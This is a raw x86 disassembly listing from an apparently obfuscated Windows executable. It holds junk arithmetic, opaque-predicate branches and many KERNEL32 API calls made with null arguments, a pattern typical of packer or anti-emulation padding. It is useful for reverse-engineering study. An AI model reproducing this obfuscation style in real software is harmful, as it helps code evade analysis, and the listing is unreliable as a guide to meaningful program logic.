mov edx, dword [ebp - 0x144]
push edx
call fcn.00419480
movzx eax, ax
mov ecx, 0x5fcd7
sub ecx, eax
add ecx, dword [ebp - 0x10c]
mov esi, ecx
xor edi, edi
mov eax, dword [ebp - 0x70]
mov edx, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10c]
call fcn.0043dfb0
or esi, eax
or edi, edx
or esi, 0x50dce
or esi, 0x77297
movzx edx, word [ebp - 0xac]
mov eax, dword [ebp - 0x10c]
sub eax, edx
xor ecx, ecx
add eax, dword [ebp - 0x70]
adc ecx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x10c]
xor ebx, ebx
sub eax, edx
sbb ecx, ebx
or esi, eax
or edi, ecx
mov word [ebp - 0xac], si
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
call fcn.00416600
movzx esi, al
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.00415920
cmp esi, eax
jne 0x41d64e
movzx eax, word [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, byte [ebp - 0x81]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.004180b0
cmp eax, 0x1d211
jne 0x41d64e
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov esi, dword [ebp - 0x10c]
sub esi, eax
sub esi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ecx, 0x13872
sub ecx, eax
and esi, ecx
and esi, dword [ebp - 0x10c]
mov edx, dword [ebp - 0x10c]
sub edx, 0x8adcf
sub edx, dword [ebp - 0x10c]
and esi, edx
mov word [ebp - 0xac], si
jmp 0x41d65d
push 0
push 0
call sub.KERNEL32.dll_Module32First
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax + 0x2eef]
movzx eax, byte [ebp - 0x81]
sub edx, eax
movzx ecx, word [ebp - 0xac]
sub ecx, dword [ebp - 0x10c]
and edx, ecx
mov dword [ebp - 0x144], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov esi, eax
xor edi, edi
movzx edx, word [ebp - 0x70]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0xac]
push edx
movzx ax, byte [ebp - 0x81]
movzx ecx, ax
push ecx
call section..text
mov dword [ebp - 0x200], esi
mov dword [ebp - 0x1fc], edi
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], edx
mov edx, dword [ebp - 0x200]
cmp edx, dword [ebp - 0x208]
jne 0x41d704
mov eax, dword [ebp - 0x1fc]
cmp eax, dword [ebp - 0x204]
je 0x41d7a1
cmp dword [ebp - 0x70], 0x7c921
jne 0x41d74e
cmp dword [ebp - 0x6c], 0
jne 0x41d74e
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.00416300
movzx eax, al
cmp dword [ebp - 0x10c], eax
jne 0x41d74e
mov ecx, 1
test ecx, ecx
jne 0x41d7a1
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx edx, word [ebp - 0xac]
push edx
call fcn.00405fd0
movzx eax, ax
cmp eax, 0x5009d
jne 0x41d7de
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
call fcn.00407440
movzx ecx, ax
mov dword [ebp - 0x144], ecx
jmp 0x41d7ea
mov edx, 0x7c36
mov word [ebp - 0xac], dx
movzx eax, word [ebp - 0xac]
mov ecx, 0x9edab
sub ecx, eax
mov edx, dword [ebp - 0x10c]
lea eax, [ecx + edx + 0x22ec1]
mov esi, eax
xor edi, edi
add esi, dword [ebp - 0x70]
adc edi, dword [ebp - 0x6c]
sub esi, 0x7399d
sbb edi, 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
add ebx, eax
xor ecx, ecx
and esi, ebx
and edi, ecx
mov dword [ebp - 0x144], esi
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx eax, byte [ebp - 0x81]
push eax
call fcn.00405d30
mov esi, eax
mov edi, edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
call fcn.004192c0
movzx eax, al
cdq
mov dword [ebp - 0x210], esi
mov dword [ebp - 0x20c], edi
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], edx
mov eax, dword [ebp - 0x210]
cmp eax, dword [ebp - 0x218]
jne 0x41d8eb
mov ecx, dword [ebp - 0x20c]
cmp ecx, dword [ebp - 0x214]
jne 0x41d8eb
movzx edx, word [ebp - 0xac]
cmp edx, 0x12dda
je 0x41d93d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x41d9c2
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0xac]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00403750
movzx eax, al
cmp eax, 0x1389e
jg 0x41d9c2
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
call fcn.00403580
movzx eax, ax
mov esi, dword [ebp - 0x10c]
sub esi, eax
movzx ecx, byte [ebp - 0x81]
and esi, ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov edx, dword [ebp - 0x10c]
lea eax, [edx + eax + 0x21dda]
and esi, eax
mov ecx, 0x4d39
sub ecx, dword [ebp - 0x10c]
movzx edx, word [ebp - 0xac]
add ecx, edx
or esi, ecx
mov word [ebp - 0xac], si
jmp 0x41d9ff
mov eax, dword [ebp - 0x10c]
and eax, 0x76c0b
mov esi, eax
xor edi, edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
add eax, 0x5a362
and eax, dword [ebp - 0x10c]
and eax, 0xfffa5c36
xor ecx, ecx
and eax, dword [ebp - 0x70]
and ecx, dword [ebp - 0x6c]
or esi, eax
or edi, ecx
mov dword [ebp - 0x144], esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
mov esi, eax
add esi, 0x4dfa4
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0x81]
push ecx
call fcn.004040a0
add eax, dword [ebp - 0x10c]
or esi, eax
xor edi, edi
movzx edx, word [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x144]
push eax
call fcn.00417b10
mov ebx, eax
and ebx, 0x7d1cf
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov ecx, 0x31000
sub ecx, eax
and ebx, ecx
xor eax, eax
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
mov dword [ebp - 0x21c], edi
mov edi, dword [ebp - 0x70]
sub edi, edx
mov edx, dword [ebp - 0x6c]
sbb edx, ecx
mov ecx, dword [ebp - 0x70]
push ecx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx ecx, byte [ebp - 0x144]
push ecx
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x224], edx
call fcn.00405f00
movzx eax, al
cdq
sub edi, eax
mov eax, dword [ebp - 0x224]
sbb eax, edx
mov edx, dword [ebp - 0x10c]
xor ecx, ecx
add edi, edx
adc eax, ecx
and ebx, edi
mov edi, dword [ebp - 0x220]
and edi, eax
or esi, ebx
mov ebx, dword [ebp - 0x21c]
or ebx, edi
mov dword [ebp - 0x144], esi
mov edx, dword [ebp - 0x10c]
add edx, dword [ebp - 0x10c]
mov dword [ebp - 0x144], edx
movzx eax, byte [ebp - 0x81]
push eax
movzx ecx, word [ebp - 0x70]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x144]
push edx
call fcn.004040a0
cmp eax, 0x7738e
jne 0x41dba1
mov eax, dword [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.00401950
movzx eax, ax
add eax, 0x48633
and eax, 0x36676
mov dword [ebp - 0x144], eax
jmp 0x41dc26
mov ecx, dword [ebp - 0x10c]
or ecx, dword [ebp - 0x10c]
or ecx, 0x199d4
mov esi, ecx
xor edi, edi
mov ebx, dword [ebp - 0x10c]
xor eax, eax
movzx edx, byte [ebp - 0x144]
push edx
movzx ecx, byte [ebp - 0x81]
mov dword [ebp - 0x228], eax
mov eax, ecx
cdq
push edx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
call fcn.004052d0
sub ebx, eax
mov eax, dword [ebp - 0x228]
sbb eax, edx
movzx ecx, word [ebp - 0xac]
mov dword [ebp - 0x22c], eax
mov eax, ecx
cdq
sub ebx, eax
mov eax, dword [ebp - 0x22c]
sbb eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
xor edx, edx
jne 0x41dc8a
cmp dword [ebp - 0x10c], 0
jne 0x41dc3f
cmp dword [ebp - 0x10c], 0x79e09
je 0x41dc8a
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx eax, byte [ebp - 0x144]
push eax
call fcn.004040a0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
cmp esi, eax
jne 0x41dd03
cmp dword [ebp - 0x10c], 0x34947
jne 0x41dd03
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [ebp - 0x10c]
sub esi, eax
add esi, 0x26f1c
or esi, 0x57d07
mov edi, 0x410a1
sub edi, dword [ebp - 0x10c]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
sub edi, eax
sub edi, dword [ebp - 0x10c]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov ecx, dword [ebp - 0x10c]
lea edx, [ecx + eax - 0x7cbf5]
and edi, edx
or esi, edi
or esi, 0x5c8be
xor eax, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
jmp 0x41de03
movzx esi, word [ebp - 0xac]
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.00415cf0
sub esi, eax
and esi, dword [ebp - 0x10c]
and esi, 0x3a3f6
movzx edi, word [ebp - 0xac]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeUserPhysicalPages]
add edi, dword [ebp - 0x10c]
lea edi, [eax + edi - 0x6d7a0]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
add edi, eax
and esi, edi
mov ebx, esi
xor esi, esi
mov ecx, dword [ebp - 0x10c]
sub ecx, dword [ebp - 0x10c]
add ecx, 0x476b8
mov edi, ecx
xor eax, eax
add edi, dword [ebp - 0x70]
adc eax, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x144]
push edx
mov ecx, dword [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x70]
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx ecx, byte [ebp - 0x81]
push ecx
mov dword [ebp - 0x230], eax
call fcn.00403750
movzx eax, al
cdq
add edi, eax
mov eax, dword [ebp - 0x230]
adc eax, edx
and ebx, edi
and esi, eax
mov byte [ebp - 0x81], bl
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
mov ebx, eax
movzx edx, word [ebp - 0xac]
add ebx, edx
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov ecx, 0x6a49b
sub ecx, eax
movzx edx, byte [ebp - 0x81]
and ecx, edx
or ebx, ecx
movzx eax, word [ebp - 0xac]
or ebx, eax
mov byte [ebp - 0x81], bl
mov ecx, dword [ebp - 0x10c]
and ecx, dword [ebp - 0x10c]
mov esi, ecx
xor edi, edi
movzx edx, word [ebp - 0xac]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call section..text
mov ecx, 0x5efd0
sub ecx, eax
mov eax, 0
sbb eax, edx
mov edx, dword [ebp - 0x10c]
xor ebx, ebx
add ecx, edx
adc eax, ebx
sub ecx, 0x7170a
sbb eax, 0
mov edx, dword [ebp - 0x10c]
xor ebx, ebx
and ecx, edx
and eax, ebx
or esi, ecx
or edi, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edi
mov esi, dword [ebp - 0x10c]
add esi, 0xdad75
call fcn.00416f10
add eax, 0x49848
adc edx, 0
mov edx, 0x61b57
mov ecx, eax
shl edx, cl
and esi, edx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
and esi, eax
mov dword [ebp - 0x144], esi
movzx eax, byte [ebp - 0x81]
sub eax, 0x51f47
or eax, 0x214b2
or eax, 0x47f43
mov word [ebp - 0xac], ax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadDirectoryChangesW]
mov esi, eax
sub esi, dword [ebp - 0x10c]
sub esi, dword [ebp - 0x10c]
movzx ecx, byte [ebp - 0x81]
movzx edx, byte [ebp - 0x81]
lea edi, [ecx + edx + 0x6a665]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov ebx, eax
sub ebx, 0x3ea55
push 0
call dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
sub ebx, eax
and edi, ebx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x144]
push eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
call fcn.004050c0
movzx eax, ax
movzx ecx, byte [ebp - 0x81]
sub eax, ecx
and edi, eax
or esi, edi
mov dword [ebp - 0x144], esi
movzx edx, byte [ebp - 0x81]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0xac]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, byte [ebp - 0xac]
push eax
call fcn.00419610
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], edx
cmp dword [ebp - 0x238], 0x2d2ce
jne 0x41e00f
cmp dword [ebp - 0x234], 0
je 0x41e06d
movzx ecx, word [ebp - 0xac]
cmp ecx, dword [ebp - 0x10c]
jne 0x41e030
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
test eax, eax
je 0x41e06d
movzx edx, word [ebp - 0xac]
cmp edx, 0xcf67
jle 0x41e06d
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], ecx
mov edx, dword [ebp - 0x70]
cmp edx, dword [ebp - 0x240]
jne 0x41e06d
mov eax, dword [ebp - 0x6c]
cmp eax, dword [ebp - 0x23c]
je 0x41e12a
movzx esi, word [ebp - 0xac]
add esi, 0x122b8
and esi, 0xf868
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
add eax, 0x2ab7d
and esi, eax
xor edi, edi
mov ecx, dword [ebp - 0x10c]
add ecx, 0x332e2
mov ebx, ecx
xor eax, eax
movzx edx, word [ebp - 0x144]
push edx
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov dword [ebp - 0x244], eax
call section..text
add ebx, eax
mov eax, dword [ebp - 0x244]
adc eax, edx
movzx ecx, byte [ebp - 0x70]
push ecx
mov dword [ebp - 0x248], eax
call fcn.00406530
movzx eax, al
cdq
sub ebx, eax
mov eax, dword [ebp - 0x248]
sbb eax, edx
push 0
push 0
push 0
mov dword [ebp - 0x24c], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
xor edx, edx
sub ebx, eax
mov eax, dword [ebp - 0x24c]
sbb eax, edx
and esi, ebx
and edi, eax
mov dword [ebp - 0x144], esi
jmp 0x41e15c
movzx eax, word [ebp - 0xac]
or eax, 0x410d3
cdq
mov ecx, dword [ebp - 0x10c]
xor esi, esi
mov edi, dword [ebp - 0x70]
add edi, 0x42def
mov ebx, dword [ebp - 0x6c]
adc ebx, 0
and ecx, edi
and esi, ebx
or eax, ecx
or edx, esi
mov dword [ebp - 0x144], eax
xor edx, edx
jne 0x41e17a
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
call fcn.00404060
movzx eax, ax
test eax, eax
jne 0x41e216
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x70]
push eax
movzx ecx, word [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
call fcn.00415cf0
mov esi, eax
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.004184e0
mov ecx, dword [ebp - 0x10c]
lea edx, [eax + ecx + 0x6af09]
and esi, edx
xor eax, eax
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], eax
jmp 0x41e26e
mov esi, 0x50383
sub esi, dword [ebp - 0x10c]
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, word [ebp - 0x144]
push edx
mov eax, dword [ebp - 0x144]
xor ecx, ecx
push ecx
push eax
mov edx, dword [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x70]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
call fcn.004184e0
and esi, eax
or esi, 0x773c8
xor edx, edx
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
mov esi, eax
add esi, 0x854c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
mov ecx, 0x29129
sub ecx, eax
sub ecx, dword [ebp - 0x10c]
movzx edx, byte [ebp - 0x81]
sub ecx, edx
and esi, ecx
movzx eax, word [ebp - 0xac]
and esi, eax
mov ebx, esi
xor esi, esi
movzx ecx, word [ebp - 0xac]
mov edx, dword [ebp - 0x10c]
sub edx, ecx
add edx, dword [ebp - 0x10c]
mov edi, edx
xor eax, eax
mov dword [ebp - 0x250], eax
call fcn.00403d30
sub edi, eax
mov eax, dword [ebp - 0x250]
sbb eax, edx
or ebx, edi
or esi, eax
mov byte [ebp - 0x81], bl
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov dword [ebp - 0x144], eax
movzx eax, byte [ebp - 0x81]
sub eax, 0x78233
and eax, 0x210
or eax, 0x5b94c
mov dword [ebp - 0x144], eax
xor ecx, ecx
jne 0x41e339
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateTapePartition]
cmp dword [ebp - 0x10c], eax
jne 0x41e378
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
xor edx, edx
sub eax, dword [ebp - 0x70]
sbb edx, dword [ebp - 0x6c]
add eax, 0x19309
adc edx, 0
mov ecx, dword [ebp - 0x10c]
xor esi, esi
add eax, ecx
adc edx, esi
mov ecx, dword [ebp - 0x10c]
xor esi, esi
sub eax, ecx
sbb edx, esi
mov byte [ebp - 0x81], al
jmp 0x41e419
movzx edx, word [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
mov ecx, dword [ebp - 0x70]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx eax, byte [ebp - 0x81]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
call fcn.004184e0
mov esi, eax
movzx eax, byte [ebp - 0x81]
add esi, eax
call fcn.00419940
movzx ecx, ax
mov edi, 0x69ee0
sub edi, ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
sub edi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
add edi, eax
movzx edx, byte [ebp - 0x81]
sub edi, edx
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
add edi, dword [ebp - 0x10c]
lea eax, [eax + edi + 0x60d80]
add eax, dword [ebp - 0x10c]
or esi, eax
mov dword [ebp - 0x144], esi
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x144], ecx
mov esi, dword [ebp - 0x10c]
add esi, 0x5ca11
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov edx, dword [ebp - 0x10c]
lea eax, [edx + eax + 0x5b68d]
mov ecx, dword [ebp - 0x10c]
shr eax, cl
and esi, eax
movzx ecx, word [ebp - 0xac]
push ecx
movzx edx, byte [ebp - 0x81]
push edx
movzx eax, byte [ebp - 0xac]
push eax
movzx ecx, byte [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
call fcn.00405f00
movzx eax, al
xor esi, eax
mov dword [ebp - 0x144], esi
movzx esi, byte [ebp - 0x81]
mov ecx, dword [ebp - 0x144]
push ecx
movzx eax, byte [ebp - 0x81]
cdq
push edx
push eax
mov edx, dword [ebp - 0x144]
xor eax, eax
push eax
push edx
movzx ecx, byte [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x144]
push edx
movzx eax, word [ebp - 0x144]
push eax
mov ecx, dword [ebp - 0x144]
xor edx, edx
push edx
push ecx
movzx eax, word [ebp - 0x70]
push eax
call fcn.00405fd0
movzx ecx, ax
lea edx, [esi + ecx + 0xa13b2]
or edx, 0x8006
mov dword [ebp - 0x144], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesW]
cmp eax, 0x300ac
jne 0x41e5c4
movzx eax, byte [ebp - 0x81]
test eax, eax
jne 0x41e5c4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
cmp eax, 0x539dc
jne 0x41e5c4
movzx ecx, byte [ebp - 0x81]
mov esi, 0x29f53
sub esi, ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
sub esi, eax
movzx edx, byte [ebp - 0x81]
add edx, 0x1671b
and esi, edx
xor edi, edi
movzx eax, word [ebp - 0x144]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
call fcn.00405a80
mov ebx, 0x52ded
sub ebx, eax
mov eax, 0
sbb eax, edx
movzx ecx, word [ebp - 0x144]
push ecx
movzx edx, byte [ebp - 0x144]
push edx
movzx ecx, byte [ebp - 0x81]
push ecx
movzx edx, word [ebp - 0x144]
push edx
movzx ecx, word [ebp - 0xac]
push ecx
mov dword [ebp - 0x254], eax
call section..text
add ebx, eax
mov eax, dword [ebp - 0x254]
adc eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
jmp 0x41e645
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
add eax, 0x6e76
or eax, 0xffff63e6
mov esi, eax
xor edi, edi
mov ebx, 0x6bcde
sub ebx, dword [ebp - 0x70]
mov eax, 0
sbb eax, dword [ebp - 0x6c]
sub ebx, 0x57320
sbb eax, 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [ebp - 0x258], eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add eax, dword [ebp - 0x10c]
xor edx, edx
and ebx, eax
mov eax, dword [ebp - 0x258]
and eax, edx
mov ecx, dword [ebp - 0x10c]
add ecx, 0x7809b
xor edx, edx
and ebx, ecx
and eax, edx
or esi, ebx
or edi, eax
mov dword [ebp - 0x144], esi
movzx eax, word [ebp - 0xac]
add eax, dword [ebp - 0x10c]
and eax, 0x13124a
mov dword [ebp - 0x144], eax
movzx esi, byte [ebp - 0x81]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
cmp esi, eax
je 0x41e67c
xor ecx, ecx
je 0x41e6b7
mov edx, dword [ebp - 0x10c]
add edx, 0x4d74e
movzx eax, byte [ebp - 0x81]
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
add ecx, 0x695ae
and edx, ecx
mov eax, 0x2829a
sub eax, dword [ebp - 0x10c]
and edx, eax
mov dword [ebp - 0x144], edx
jmp 0x41e739
mov esi, dword [ebp - 0x10c]
xor ecx, ecx
add esi, dword [ebp - 0x70]
mov edi, dword [ebp - 0x6c]
adc edi, ecx
mov edx, dword [ebp - 0x10c]
xor eax, eax
sub esi, edx
sbb edi, eax
movzx ecx, byte [ebp - 0x81]
push ecx
movzx edx, word [ebp - 0xac]
push edx
movzx eax, word [ebp - 0xac]
push eax
movzx eax, word [ebp - 0xac]
cdq
push edx
push eax
movzx ecx, word [ebp - 0x144]
push ecx
call fcn.00415020
add esi, eax
adc edi, edx
and esi, 0x73e19
and edi, 0
mov edx, dword [ebp - 0x10c]
xor eax, eax
or esi, edx
or edi, eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov ecx, dword [ebp - 0x10c]
sub ecx, eax
xor edx, edx
or esi, ecx
or edi, edx
mov dword [ebp - 0x144], esi
cmp dword [ebp - 0x10c], 0x56221
je 0x41e74d
xor eax, eax
je 0x41e7dd
movzx ecx, word [ebp - 0xac]
and ecx, 0x373ed
or ecx, 0x20041
or ecx, dword [ebp - 0x10c]
movzx edx, byte [ebp - 0x81]
sub edx, 0x63d3d
or ecx, edx
mov esi, ecx
xor edi, edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ebx, eax
xor eax, eax
movzx ecx, byte [ebp - 0xac]
push ecx
movzx edx, word [ebp - 0xac]
mov dword [ebp - 0x25c], eax
mov eax, edx
cdq
push edx
push eax
movzx eax, byte [ebp - 0x81]
cdq
